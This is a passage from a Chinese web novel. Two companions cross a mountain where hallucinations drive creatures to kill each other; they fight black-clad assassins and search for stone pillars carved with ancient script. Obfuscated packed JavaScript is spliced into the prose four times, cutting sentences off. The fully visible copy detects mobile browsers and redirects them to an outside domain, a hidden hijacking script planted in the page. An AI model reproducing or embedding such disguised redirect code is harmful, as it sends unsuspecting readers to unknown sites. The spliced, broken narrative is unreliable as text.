“六月份海水最早退潮的时辰也要到未时吧?” 关阇彦想到此事,但也想起这毕竟也是从陆子礼那里听来的,还已经过了好几天,他不太能保证精确性,所以保险起见,最好还是选择跟魏郁春对一下答案。魏郁春在这方面,的确能给人带来难以言喻的信任感。 魏郁春认可了他的话:“没错,还有约莫一个多时辰的时间。” 所以,如果在这个关头迷失了方向,就得靠一个时辰后的海潮声,才能辨别得了自己所处的位置。他们毕竟和陆子礼不同,初来乍到,经验甚微,又怀疑他们会因为中了幻术,而更难通过捕捉海潮声来辨认方向。心中留有顾虑,是常事。 一个时辰……如果不被迷幻倒还好,但是以现在这个情况来看,这样的等待可别提多煎熬了。 “本来想着早点来,以免收集古文太晚不方便回去。没想到竟是来晚了才合适。”关阇彦有些头疼。 他们虽然都知道海潮辨声之事,但第一次涨潮通常在鸡鸣之时,根本就赶不上。而退潮有早有晚,最早的应是午时末,其次就是相隔六个时辰的子时。 魏郁春也跟着拿水袋里的水抹了把脸,她提议:“不能继续留在这里了,我们先继续往前走,山上湿雾很多,说不定更能醒神。” “边走边吃吧。”关阇彦无奈地将包袱重新收拾好,只留了一只水袋和几只烙饼在手上。 “我手上有东西,待会儿估摸不方便拉你,这次你可给我小心一点。”他不忘给魏郁春递出一个警醒的眼神。 魏郁春一时间没控制住上翻的眼皮,恹恹道:“不指望你,我也已经习惯了,你放心吧。” 说起来,这还是她第一次明目张胆地翻白眼。应是精神恍惚,忘记了收拾自己极为重视的仪容仪表了。 刚好对面的是,对此几乎无知无觉的关阇彦,在迷幻的视觉下,魏郁春好似只是和平常一样,睁着冷漠的眼睛和他说话。 二人继续向上攀爬,可根本没走几步路,景象就有了翻天覆地的变化。山中林木变得越来越茂密,很多树干都被挤压得歪七扭八,有蛇躯之相。粗糙的树皮上往往覆着因常年阴湿而滋生的各式的青苔,一些长着看着就恶毒的花纹的蘑菇,盯一眼仿佛就能将看它的人的眼球剜走,泡在迷魂汤里,永久性地糜烂癫狂下去。 越往上走,冷冷的雾气灌入肺腑,好似凝固在了里面出不来,那种呼吸的窒息感反而让二人的精神更加紧绷,因此幻觉好似比方才减轻了些许。 林间突然起了怪风,那种额前发丝擦面而过的感觉,是再多的幻觉都堆砌不起来的。 有人! 关阇彦无比熟悉这种人在高速行走时擦动风声时的动静,衣摆几乎被撕裂的尖锐摩擦声,带他回了上个月月底被黑衣人引入雾林时的场景。 一样的作风,难道是和那些黑衣人们一拨的家伙?这死性不改的样子,当真是“是出同门”。 这些拼命鼓动风声的家伙们,丝毫没有被山中古怪的东西迷幻到。 他倒吸了一口凉气,又回忆起这波人在进入冯家行凶时,还特意用蒙汗药将冯家夫妇和冯巧儿迷晕的做法,瞬间想通为什么这山为何如此古怪了。定还是这些人使的妖法,只是这次做得实在太隐蔽,这么久了,他居然才发现他们的身影。 魏郁春也很快察觉到了异样,她看到了关阇彦愈渐难看的神色,心中有了定论,低声沉道:“到底还是黑衣人出手了。” “出师不利,本以为山中当真没有他们的存在,打一开始就没往这方面想。呵呵,还有这些随着雾气涌入体内的迷幻物……倒霉啊。” 关阇彦皮笑肉不笑地提了几把嘴角,几近凉薄,在近乎暗无天日的林翳下,有种说不出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时,他才终于明白了,这些家伙们的风圈战术究竟有什么样的优势。只要被针对的人不习惯于黑夜作战,抑或是被迷晕了脑袋、变得晕头转向,这些风圈就能最小化地降低他们行动的存在感,再在此基础上出其不意,派出攻击的人,于无形中化有形,让对手几乎没有还手的余地。 他已经和后方一个家伙交了手,那黑衣人估摸是个心高气傲的主,眼见他只是个普通的村人,动手间明显是松懈的,摆明了是对他瞧不起的。 可正是这种瞧不起,让关阇彦很快就戳中了他的弱点,黑衣人腰间中刀,血流如注,他和魏郁春一身素衣皆落了好几条血印子,血腥无比。 “闭眼别看了。” 他腾出一句话的功夫对正紧紧贴着自己的魏郁春提醒起来。 紧接着,前方黑衣人被他狠狠踹了一脚,这一脚功力匪浅。 他虽没看到黑衣人被踹到了那里去,却听到了对方掷地时猛烈的撞击声,那家伙好似朝一种石头似的硬物撞上去了,当场口吐好几口鲜血,瞬间死亡。 56. 怪石文墩(2) 魏郁春依言闭紧眸子,将满腔压抑沉淀起来,耳目清明,幻觉好似突然烟消云散了,唯有她紧靠之人猛烈的心跳声,还有那句“闭眼”令她神魂颠倒。 她不该自欺欺人了,她的确很喜欢他了。 风圈里的黑衣人一下子就慌了一阵。那呼啸若飞龙的狂风明显漏了好几个节拍。 他们怎么都想不到这个平平无奇的男人竟有如此能耐,心中的预判被打乱,手脚自然也会瞬间陷入慌乱。 “你到底是什么人?!” 风圈里剩余的人齐齐呼喊了一声,话音刚落,那从中刺出来的剑风就逼了过来。 他们的脚步声聊胜于无,唯有刺耳的剑鸣还有风圈里大剌剌的鼓动声,不断骚扰着他,他感觉自己好似要被这些声音淹没了。 那种窒息感,好似被当场逼入了井底,井盖被紧紧压着,他怎么都出不去。 “这话该我问你们才是!” 关阇彦眉梢压得更低了,他尽力让自己的神智保持清醒,又担心黑衣人们看出自己的窘迫,不得不强忍仓皇,看似好像战无不胜。 “在左边,”魏郁春的声音突然响动,那声音很细微,只有依靠两个人,几乎要完全贴在一块一起颤抖的肩膀,他才能听得到这句话。 她怎么知道自己正慌于辨认不清黑衣人们的动作? 她是怎么敌过那些迷幻之术的?我该相信她吗? 关阇彦的心中闪过种种疑惑,可他的动作却早已向左边偏移,他手中的短刀与左手边黑衣人的长剑擦过,那铿锵之声震颤不止。 而魏郁春正刚好在他左手边,他这才意识到,她明明料到了危险,却对自己的安危只字不提。 她可能明明知道一旦他和黑衣人交手,会将自己置于最危险的境地。 怎么会这样?她不是最惜命吗?惜命到无耻的地步,让他唾弃的地步…… 她应当没有这么厉害,他想那么多做什么? 他乱了乱神,可注意力很快就被其他方向的攻击引了过去,他反手将魏郁春从左手边正式拉到怀里,一只手臂环绕着她的双肩,身子迅速旋转。因为这一刻的刺激让他的反应力快了不少,瞬间遁走,而那两个本来要对自己交手的黑衣人,却没能反应过来,他们二人兀自提剑双打,越打越激烈。 关阇彦和魏郁春都懵了,对视一眼,又闻风圈里的黑衣人暴怒地啐了一口:“蠢货!本来人就少了不少了!” 于是风圈就此停了下来,好似特意分出了两拨人,一拨两人去捉他们,一拨一个人,则提着剑闯入正打得不可开交的一对黑衣人的圈子里,将二人分开。 关阇彦和魏郁春见状,心叹惊奇,不过只有两个人根本不足为惧。 他们在怪石鬼木间肆意奔走,很快就甩掉了身后的两只狗皮膏药。但魏郁春却总觉得惴惴不安,因为她觉得身后那些急促的脚步声不像是慢慢跟丢的样子,而是突然消失了! 可还没等深入其中,她和关阇彦就已经彻底迷失了方向,他们的神智重新进入无法自理的状态,眼前盘根错节的树木变成了虎视眈眈的巨蛇,身子没有那么僵化,而是慢慢褪去了木质的纹路,抖动尾尖,朝他们狂游而来。 这些蛇每一只都有数十尺高,他们只以为自己堕入了诡异的蛇岛。 这副恐怖的场景,比亲眼见证血肉纷飞的场景还要骇人。他们根本不知道眼前的东西到底是不是真的,奔走如此远的距离,体力好似要耗尽,精神也被折磨得要崩溃。 这里那里是什么盘龙山?!分明是鬼蛇山! 他们早就没顺着山路走了,这里每一处都埋伏着危机,根本无法做到处处规避。 在身体和精神双重的打击下,关阇彦瞪着充血的眼,暗骂一句:“这到底是什么鬼地方?!” 紧接着,他们错看了路线,直直朝下坡滚了下去,他们在刚下落的时候,还看见了坡下有一只张着血盆大口等待他们坠入腹中的大蛇,盘桓在下面。 此情此景,魏郁春险些要崩溃地哭出来。 他们从坡上滚落,索性坡度没有幻觉中那么可怕,魏郁春被护在臂弯中,自然不会出什么事,关阇彦善于自护,虽然重重落地,但只要避免脑袋被撞击,就不碍事。 即便被护着,但砸下来还是很疼,魏郁春揉揉自己的膝盖,好似快肿了,但疼归疼,却又让意识清醒了一些。 她发现自己只是落在满是杂草和湿软苔藓的泥地上,而非记忆中大蛇充满腐蚀气息的肚中。 再一睁眼,哪里还有血盆大口的大蛇? 还有周遭的树木都变得再正常不过,那些从树木演变成各式各样大蛇的景象也不见。 他们根本没有被什么怪东西围攻,一些都是相由心生,自欺欺人。 她意识到自己还枕着关阇彦的手臂,慌忙捱着膝盖上的疼痛,起身。 没了她这么大一个人压着,关阇彦自然甩甩脑袋就很快从地面上站了起来。他手臂上留了擦伤,红彤彤一片,看起来吓人,实际上却没留多少血,典型的皮厚。 他拍拍身上的泥土,发现包裹有些散架,大半的干粥和玉米烙都散了一地,他一时说不出话来。结果却剑魏郁春慌忙地抬起他的手臂,左看右看,觉得没伤到骨头,才舍得移开目光。 而这目光,炙热得让他不太习惯。 她瞥到地上散落的食物,说道:“没事,捡起来擦擦还能吃。然后,谢谢你刚刚保护我。” 怪不得她对自己的态度这么热情,原来是感谢自己呢。因为,他虽然知道她是个不饶人的冷闷性子,但也和他一样是真性情,大事上抉择果断,情谊上更是能多分得清,就有多分得清。 现在她受了他的照拂,分清感情的时候,也会格外注重,她针对这些情分的反馈。 既然人家都这么不计较了,他自然不会和从前一样别别扭扭起来,说话好听了不少:“没什么,你不也帮我辨认敌情了吗?多谢你了。” 说话间,魏郁春已经弯腰去收拾包袱了,但在伸手进包袱里面感受到湿哒哒的触感后,平静的面色顿时出现了数道裂纹。她手速变快,将包袱一拎,发现里面有两只水袋,在方才跌落和挤压的时候,盖子脱落,里面的水撒满了包袱的底部,那里还垫着陆子礼给她的两张印着石墩古文字的纸张。 关阇彦也察觉到了此事,也过去搭把手,可不管二人如何小心翼翼,那两张泡在药汤和水里的纸张都一蹶不振。麻纸虽厚实,可一旦沾了水,瞬间就会瓦解成纸屑。魏郁春搓着指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大不了明日再掐准时间点再来,安全是最重要的。 其实,他们也想过在最开始的时候,就直接朝陆子礼靠傍晚海潮声辨认出来的方向走。 可陆子礼却提过,他虽知龙崖处于东南面山体,却从未亲眼见过那里。若一味地往指定方向走,而避让正常入山时还算平缓的坡度上去,很容易就会遇到离奇崎岖的地势,根本难以行走,如此简直是得不偿失。 所以海潮辨声只好适用于难以离开,却又迫不得已的情况。 说实话,关阇彦和魏郁春也根本弄不清海潮辨声到底该如何用,只好一味听从陆子礼的建议,规避一切风险上山。 显然,当真正实践的时候,什么该规避的该遵守的,根本就是狗屁不通,经验不是听人一嘴就能落实到身上的。 他们即便随心所欲,无非也是另一种结局,走到哪个走不通的路上干着急。对比下来,现在失去方向的状况也是半斤八两,没啥区别——都难以离开。 “行,还是走一步看一步先。” 关阇彦将包袱重新背回自己的身上,领着魏郁春朝四处走。 他们预先绕过空地围着刚落脚的地方行走了一圈,前面一长路什么都没发现,在他们以为就要一无所获的时候,一只看起来圆溜溜的大石块却兀自出现在了不远处。它的造型像一只趴在地面上的甲壳虫,但偏偏又比普通的甲壳虫要圆拱太多。 那物有些高度。 57. 怪石文墩(3) 那诡异的心情又占据了魏郁春的心神,这种感觉,和方才追逐她和关阇彦的两个黑衣人突然消失时,给她带来的一模一样。 她低呼一句:“方才我在更远处看那里的时候,分明什么东西都没有。那只显眼的怪石是什么时候出现的?” 关阇彦道:“难道又是幻觉?” 二人相视一眼,皆觉古怪,也不约而同地往石墩的方向走,随着距离的缩短,那块石墩占据视野的地方就越来越大,上面雕刻着很多看不懂的文字,文字上总有被侵蚀过的缺漏之地。魏郁春不确信地伸手去摸,如此真实的冰冷而粗糙的触感,绝不是幻觉可拟成的。 “就是那块刻满南禺古文的石墩!” 她兴奋起来,旋即取下包裹,用墨水将文字的边缘涂满,直接将纸张覆了上去。这种方式和陆子礼的不同,不会存在留白,只会有诸多黑印,空白的部分反而是文字的体现。 这种办法虽然粗陋,却比陆子礼的要省时省力,她的目的是将整只石墩的文字都拓下来,刚好石墩上的文字皆是凹下去的,只要墨水别太满,纸张脱落的时间不要太久,基本上都能留个大概的形状。 石墩很大,若以魏郁春作参考,环抱下去,至少也要三四个有相同臂长的人才足够。至于高度,则刚好要比关阇彦高上大半只脑袋。 不过只要竭力踮脚上眺,也能大概摸到顶端的文字,对于魏郁春够不到的地方,他就负责将墨水和纸张糊过去。当然,这很吃力,所以至多也就印下半张纸的字下来。 可在剥离纸张的时候,魏郁春却愣住了,她翻动卷张,一共十来张,却没有发现与陆子礼重合的内容。 “为什么会这样?”魏郁春叫住关阇彦,百思不得其解,“陆子礼换血秘术的那些内容,我能记住大部分,可我方才翻看了这么多拓下来的字符,没一处与那些相关。” “这个石墩根本不是陆子礼的那一个!” “这山上不止一个石墩?!”关阇彦也大惊,奇怪的感觉阴森森地攀上他的背脊。诡异的事情太多,堆叠在一起,完全有一副牛头不对马嘴的怪诞之态。 他不信邪地将一只水带递给了魏郁春:“是不是幻觉在作怪,你仔细看看?” 魏郁春直接将水袋打开,自上而下淋湿了整个脑袋,她却低垂着好似泛着泪花的眼,难以置信道:“都不是,都不是。” “既然还有别的石墩,我们就再去找找,别慌。”关阇彦尽量保持语气的平缓,但实际上,他的内心也有些不知所措。 他们再度踏出旅途,将方才那一沓纸塞回包袱,为了减少迷失的风险,他们依旧采取绕圈行走的办法。只不过,这一次他们将圈子的范围放大了一些。 约莫两三炷香后,他们又看到了一只大石墩,这次他们没有直接那纸拓印,魏郁春绕着它走了一圈,将目之所及之地都逡巡了一遍,可依旧找不到任何“换血”、“同庚”、“同性”等任何熟悉的字眼,更过分的是,这一次的石墩,连“酆都罗山”的字眼都找不到一个了。 这足以证明,这块石墩又是一个全新的存在,不同于陆子礼的,也不同于刚刚发现的第一个石墩。 这里到底还有多少个石墩?! 魏郁春尖叫一声,她的目光留在距离石墩不远处的一大丛低矮灌木之后。 奇了怪了,自进入这座山开始,他们就没有见过任何姿态低矮的灌木,因为此山历史悠久,生长在上面的古木埋根极神,掌握自己命脉的同时也会压抑其他命脉的生长。所以往往只有高耸入云的古木和奇形怪状的寄生植被一直繁衍长大,低矮的灌木作为弱势群体,根本没有资格生长在这里。 可这里不仅有一大丛,每一根树枝都冒着茂密的树叶,好似一朵膨胀到快炸开的绿色棉花。显得很突兀。 因为关阇彦站在石墩另一侧,无法直接透过灌木看到里面的东西。他赶忙追过去,发现葱郁的灌木内,竟躺了无数只动物的尸骨,尸骨年代已久,不用刨土,都能想象到这泥土之下埋葬了多少具同样历史悠久的森森白骨。 尸骨群上还覆盖着一大片未来得及腐烂完全的动物毛发,好几张完整的毛皮黏合在一起,可只要细看,就会发现不同块毛皮黏合的地方往往都有好几只锋利的尖牙——这是动物们互相撕咬,直到临死前都不肯松手后残留的遗迹。 之所以长牙的地方徒留皮毛,是因为动物死后,血肉腐烂,头骨粉碎,埋入尘土,看起来干瘪地好似内部一点异物都不存在,只是一张单纯的皮毛而已。 这些毛皮黏合得极好,并不是因为它们的尖牙有多厉害,而是因为毛皮的色泽质地一模一样,简直像是互相仿制出来的一样。于是乎,视觉上就有了这种错觉。 不难看出,这里撕咬成性的动物都出于同一品种,一团一团纠葛在一起,跨出一个物种的区域,就会发现另一种毛发毛皮纠葛不下的场面……偶尔在不同物种战场衔接的地方,会看到不同动物骨架交叠、毛皮衔接的诧异之景。 在另一个角度看,这里不过是一丛灌木而已,可只要跨出去看,却发现灌木之内藏着这样一个让人匪夷所思的恐怖景象,范围还不小。 一只尸骨坑一只尸骨坑的挨在一起,中间可能隔着几棵灌木,绕开后又是好几个尸骨坑。 难怪这里的灌木不仅没有被高树打压,还生长得如此好,敢情是动物们腐烂的□□被它们充当了养分。 并且此处还要好好纠正一下先来后到的问题,丛尸骨腐烂和堆积的程度来看,只可能是先存在了骨坑,后来灌木的根蔓延到此地,汲取了养分,才渐渐选择寄居在尸骨处。 “你觉不觉得……”魏郁春僵硬地抬了抬脑袋,“这很像我们休憩时在石头上看到的大片虫子尸群?” 关阇彦不可否认:“是,很像。它们似乎都有互相残杀、自取灭亡的嗜好。这些不同毛发交接的地方却也能说明,他们的这种嗜好并非仅仅局限于同类,之所以厮杀者同类居多……多是因为同类相伴的概率大,看见了便杀红了眼的概率也大,遇到异类同样是杀是死,不过概率远不及前者。” 他的判断有理有据,完全涵盖了所有需要考虑的方面,周全到没有任何漏洞。 魏郁春也道:“我们之所以从进山启就一直没有见到除了虫子外的生物的原因竟在此……还有,之所以还有万千虫子的身影能被我们捕捉,多半是因为它们繁殖力极强悍,身形很小,对手也仅仅只有这些和它们差不多的虫类,和这些身形彪悍强壮的大物处于不同的厮杀圈里。” “即便真要杀也永远杀不到个彻底。” 关阇彦颔首,可他发觉自己的神智又恍惚了起来,而他刚接触到这只石墩的地界后还没多久。 此时,魏郁春心中又闪过一阵诧异,低声自言自语起来:“那为什么……我和关贤齐之间不会自相残杀?” 一阵耳鸣之声刺膜而来,起伏不定,像是怪物的狞笑。 方才在第二处石墩的时候,幻觉虽然也有些,但因为他们有了习惯的意识,影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447400|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形同没有。可这次,那股最初来山时天旋地转的感觉又笼罩了回来。 关阇彦警惕起来,将魏郁春从灌木丛处拉了回来。 他又瞥见了黑色的身影在林间如鬼魅般乱窜,这次没有风圈的战术,那些身影分散在各处,全身包裹着浓黑色,唯有一对射着精光的眼死死盯着他们二人。 这些黑衣人善于按兵不动,而不久前的黑衣人们做事却明显有些毛躁,二者行事作风好似不太一样,难道是故意换了战术吗? 关阇彦快速扫了四周几眼,约莫算了一下,少则也有八九个人!怎么会……刚刚和他交手的那些黑衣人统共就只有七个,有两个被打死,有两个突然自相残杀,又有两个负责追杀他们,最后一个则留在原地。 难道这些人跟方才那些黑衣人不是一伙的? 不对,他忽地想起不久前和他交手的黑衣人们的私语——“蠢货!本来人就少了不少了!” 难道这些人本来都是一伙的,但因为某种缘故分离了吗? 他又想起方才互相残杀的两个黑衣人,不也像极了将他和魏郁春吓了一跳的互殴的虫子们。会不会…… 这些黑衣人也中了幻术? 原来如此…… 中幻术的不只是他、魏郁春和这些来路不明的黑衣人们,便是连这座山本身生存着的生灵们都中了这邪性的怪术。 这种情况好似只在特定的处所发生,比如堆满密集虫尸的大石、骨坑密布的灌木丛……在这些地界以外的地方,比如第二只石墩处,他和魏郁春的神智趋于稳定,这里也没有动物们自相残杀的身影,也没有黑衣人们的存在。 理应他和魏郁春也处于这样特定的地方,本该互相杀红了眼,可事实上他们并没有。他们只是脑中思路混乱、眼前之景被迷乱罢了。 这不是所谓的命运眷顾。 因为他明白若不是这些黑衣人频频来犯,他觉得,一旦中术至深,他和魏郁春肯定也能打起来。 同样,在黑衣人们的眼里,若不是他和魏郁春频频引走他们的注意力,他们内部也会和那些虫群一样互相残杀致死。 他怎么都想不到,这些像虫子一样频频骚扰他们的黑衣人们,其实是帮他和魏郁春脱离“自残”困境的一线生机。 他本以为,这些黑衣人们才是让他们中幻的罪魁祸首。 相对的,那些黑衣人们也该感谢同一时间线下一起出现的他们。若不是大家一起跨入争斗圈,他们也做不到齐心协力、一致对外,反而会蜂拥一起,和养蛊一般斗出个最后的王者。 竟是如此,这局竟用邪至此,歹毒到无法用言语形容。 既然如此,他的主要目的就不是和黑衣人们缠斗,因为一味地争斗起来,反而会成为被幻术利用的死士,越是见血越是难以脱离幻觉—— 第一次和黑衣人们交手时,他不过只杀了两个人,幻觉就带着他和一起深陷血战的魏郁春见证了蛇林乱舞的恐怖景象。那种惊弓之鸟的心境一旦发作,他和魏郁春将彼此互相认作妖魔鬼怪,必然也会引来彼此的杀机,结局你死我活,如何歹毒! 幸好不久后他们就跌落至坡下,进入了幻术影响小的安全地带。这才打断了死局的进行。否则后果真是不堪设想。 他最好一个人的血都不要碰,然后立马离开这块地域,往回走,等回到第一只石墩的地盘,他和魏郁春才算安全。 幸好这次黑衣人们的分布比较零散,若还是风圈,不愿见血和做梦没什么区别。 58. 借风而行 关阇彦已经流了一身的冷汗,汗涔涔的脸上落下几滴至魏郁春的衣物上,她先是一惊,拽了拽他的衣角,好似在安抚他。 他已经盘算好了逃离的路线,然后一把拉住了还在他衣角上的魏郁春的手,温热的掌心伴随湿湿的触感,将她的手紧紧包裹,其中还有电流般的颤抖,很细微。 她盯着他上下起伏不定的喉结,听他沉声说话:“你……你抱紧我,越紧越好。” 他自己也知道这话有多流氓,其间的停顿就是尴尬的体现。 “好。”魏郁春自然很乐意。 她直接上手,将他整个腰间全部环绕住,而对方的一只手臂,依旧像方才一样环住她的肩膀,很紧,她能听到对方急促的心跳声。她的动作看似果断,果断到好似一点杂念都不曾有,实际上浑身都烫成了烤山芋,脸上更是红成了烙铁。 关阇彦将刀收回腰间,拉着人直接往既定的方向而去,一直按兵不动的黑衣人见他行动,立马也跟了上去要拦人。近看起来,原来的确不止八九人,他一人对上十人,还不能攻击,实属吃力。 他脚步快走,在刚好迎来一剑时,仰腰偏面,怀中之人也一起摆动,随着他的脚步一起快走。 魏郁春感觉自己好似突然飘起来了一般,足下生劲风,可她明白这些风皆是从另一个人的脚下鼓动而来的,她借力而行,才有了这些错觉。 明知是错觉,可她却沉浸于其中难以自拔,因为是错觉,也是让她极度依赖的安全感。 每次危险,她好似都能依靠他化险为夷,她不曾见过他前,一辈子都不会想到还会有一人可“借风而行”。这种力量既然出现了,她就不希望它们会离开,她知道自己不可能有这样的力量,所以她只能依赖,并且靠此来将它们牢牢握在手心。 可她好像不明白什么是真正的悸动,反而在一次又一次,被这些力量给予的安全感所震撼时,将所感都转化为她喜欢这个人的依据。 事后,她还自诩她是真心爱的这个人,而非只是因为他能给自己带来安心,所以她得靠一些心理暗示,让她心安理得地将自己捆缚在别人身上。 关阇彦快走时分,周遭黑影攒动若黑鸦,剑鸣纷起若鸦鸣,躁耳极了。 他见又有二位杀红了眼的黑衣人夹击过来,自己又很难脱身,索性侧退二步,与刺来的黑衣人完美擦肩而过,他一手顺着对方的手臂,抓过人的剑,手背作刀,狠劈下去致使对方吃痛落剑。他见机结果剑柄,并不反刺,而是两道剑风一左一右地扇过去,两个夹击他的黑衣人顷刻被扇地倒地,仰面过去一时难以站立。 他带着魏郁春往回头的路走,差一点就要突出重围,可没想到已有其他的黑衣人看出他的动向,埋伏在那头。看来,他是回不去了。他不得不放弃回去的念头,转念成随便找一处密林钻进去,让身后的黑衣人难以追赶。 他提着剑故意朝前舞去,激怒了几个埋伏着的家伙,那些黑衣人涌过来,他又反身过去,转到一个黑衣人身后,故意将他当作自己的挡箭牌。这个举动太过狡猾,黑衣人们始料未及,已使出力气的剑招无法完全收回来,只好擦伤了同伴的手臂。 见了血,出招的黑衣人和受伤的黑衣人将对方视为敌手,互相打击,招招致命。其他处于原地的黑衣人明显看起来头疼了起来,他们去制止被幻术迷乱了神智的同伴,结果搭进去后就抽不出身来了。 余下的在其他地方的黑衣人只好去负责追逐关阇彦和魏郁春的任务,但毕竟出动的时间晚了,追过去的时候,关阇彦和魏郁春已经穿过层层阻碍,跑出去很远。 这次没有见血,他们二人果真没有再看到满山树蛇的恐怖景象,这也证实了关阇彦的猜测。 奔跑途中,魏郁春被关阇彦拉着,无需注重方向感。因此她就有更多的经历去看清周遭的事物,她看到了藏在一片树木中的大石墩。 她连忙道:“又有一个石墩!” 她仔细辨认了身后已经没有了黑衣人的脚步声,发现这一次,这些家伙和第一次追逐他们时一样,突然消失了。 她咬牙大胆猜测:“关贤齐,那处石墩应该是安全的。第一次和黑衣人们交手时,也是我们接触第一个石墩地界的时候,当时黑衣人们跟随的脚步声好似直接消失了,和现在一样。” 关阇彦也不觉得这只是个巧合,直接朝魏郁春所说的石墩处出发,颔首道:“是,我又感觉神智比方才清楚了不少。” 他们快速飞奔至石墩处,关阇彦松开抓住魏郁春的手,快速以石墩为中心点,将四周环绕着仔细看了一边,既没有可怖的尸骨坑,也没有让人产生生理性厌恶的堆叠着的虫尸群。 看来,这里又是一处受幻术波及较少的地方,是安全的。 他松了一口气,和魏郁春解释了情况:“我本以为是那些黑衣人给我们下的幻术,毕竟他们的确有古溪村用蒙汗药迷晕人的前车之鉴。但几经交手下来,我意识到黑衣人他们自己也深受幻术所扰,因此我方才试探性地让他们互刺一手,果真相残了起来。” 魏郁春疲惫地靠着石墩蹲下去,说道:“不仅如此,在不同的地方,山中幻术对动物们的影响也不同。那些虫子、猛兽们相残后留下的尸骨就是最好的证明。” “甚至我们自己也会被影响到,在那些虫子、猛兽们的尸骨存在时,幻术对我们的影响也比别处大。若不是黑衣人们的几番纠缠,我们自己怕也会开始同室操戈。” 关阇彦也颇觉劳累,并且这些劳累多是精神受压后牵动身体所引发来的。 “那些黑衣人……竟是阻止我们互相动手的契机。”魏郁春听了他的话,忍不住张口愕然。 “但……我总觉得还有哪里不对。” 魏郁春顿了顿,她旋即转头看向背后的硕大石墩,她本以为这里应是一座陌生之物。因为她记得和关阇彦方才逃离厮杀时,完全没有往第一处安全的石墩的方向跑。 若不是还有其他陌生的石墩存在,这里又怎么会突然多出一只同样拥有安全地界的石墩? 但下一刻,这种观念就被打破了,她看到了留在古文上的墨印,这些印记已经干透了,融合在不满灰尘的石墩表面。若不定睛看,就真以为这些印记不过是石头天然风化后留下的黑点子。 她不信邪的将上面的古文仔细看起来,发现这不就是她找到的第一只石墩吗?那时,她还用了墨水和麻纸将上面的内容拓印了下来。她直接大脑空白,又掏出包袱里那十几张麻纸,将上面的文字与石墩古文贴近对照,最后发现内容完全是一一对应的。 这个石墩就是她和关阇彦找到的第一只! 这怎么可能?!她和关阇彦方才不是因为回路被堵,放弃了回来的念头而转向其他的方向逃去了吗?!怎么可能又回来了呢?! 她脸色布满惊恐,忙对关阇彦道:“我们又回到了拓印的地方,刚刚我们不是明明往另一个方向走了吗?” 关阇彦定了定,却还算情绪稳定,他兀自摇摇头,话音冷讽,道:“这些幻觉果然狠毒,即便我方才自认清醒,但还是被蒙骗了。在幻觉的地盘里,我们连辨认方向的资格都没有,只能像热锅上的蚂蚁一般被耍得团团转。” “但好歹能靠回到这里时的脚印辨别方才的凶险之地在哪里,待会儿若是离去,大可换个方向。”他道。 “其实,我总觉得这些石墩有古怪。” 既有出路,便不必一直恐慌,魏郁春耐下性子分析道。 “山中操纵幻术的幕后黑手,恐怕是和石墩有关的家伙?”关阇彦不假思索接应了她的疑惑。 魏郁春诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏郁春依言应他,然后二人并肩往另外一个方向去了,这次和以往的经历都不同,走了不知多久,因所费脚力比先前几次还要引人疲乏,这才辨出走出的路途已远。 他们看到下一个石墩的时候,已经翻越了很多只陡峭的坡度,一直都没看到可疑的地方,就连幻术对自己的影响也是忽高忽低,趋于中性。 但没有看到却并不能意味没有听到,在行走的时候,他们其实都能时不时听到人们快速踱步时摩擦地面的声音,和黑衣人们的脚步声极像。 可他们一直都是只闻其声,却一直瞥不到人影。即便声音应该很近,他们却还是怎么都觅不到黑衣人们的存在。以至于他们也都习惯将其视为,幻觉故意干扰视听的作为。 此行下来,也更加坚定了石墩与境遇吉凶之间的联系。 撇去没有石墩的地方,它们被影响的程度总是被限制在高低之间,未曾改变。 细细想来,他们踏入盘龙山的时候,其实早就默默被这样不高不低的幻术操控了,遇到什么样的石墩,幻术的影响也会随之改变,“凶”者害人,“吉”者护人。 但这样的逻辑还未完全成立,因为他们还疑惑既是如此,“吉”者和没有石墩的地界的作用好似一致,都不会让他们和黑衣人们交手……当然,他们也不确定黑衣人会不会突然冒出来。 可若是黑衣人在没有石墩的地界冒出来,也必会跟他们交起手来,这么看来,“凶”者和这些地界的作用好似又重合了。 在疑惑未落定成定局时,他们也听到了远处隐隐传来的海潮声。 伴随而来的是,比入山时还要浓烈数倍以上的海腥味儿,好不容易适应下来的身体自然扛不住这等气味的威力,他们扛着胃中翻滚的不适感,快步前行。 此行竟已耗去了将近一个时辰。 已到未时了。 而关阇彦和魏郁春也踩着点赶到了新石墩的地点,这里依旧是安全之地,一只“吉”字挂了上去。他们没有急着离开,而是依靠越来越明显的海潮声,辨认起了方向。 59. 生死由天(1) 关阇彦五感比常人都要通透得多,辨向的责任自然落在了他的肩头上。 他稳稳站立在土地上,疑似黑衣人们的脚步声不见,魏郁春也屏住呼息不讲话,周遭阒然无声。 海潮声一次一次地击打到坚硬的崖壁上,那撞击感越来越明晰,他心跳的节拍好似都与之重合了起来,这种共鸣感让他迅速感知到了声音的来向。 他双耳微动,说道:“这些声音来自于正南方。海潮声在东南海岸……我们现在的位置相对来说,应是东部,抑或是东北部。” 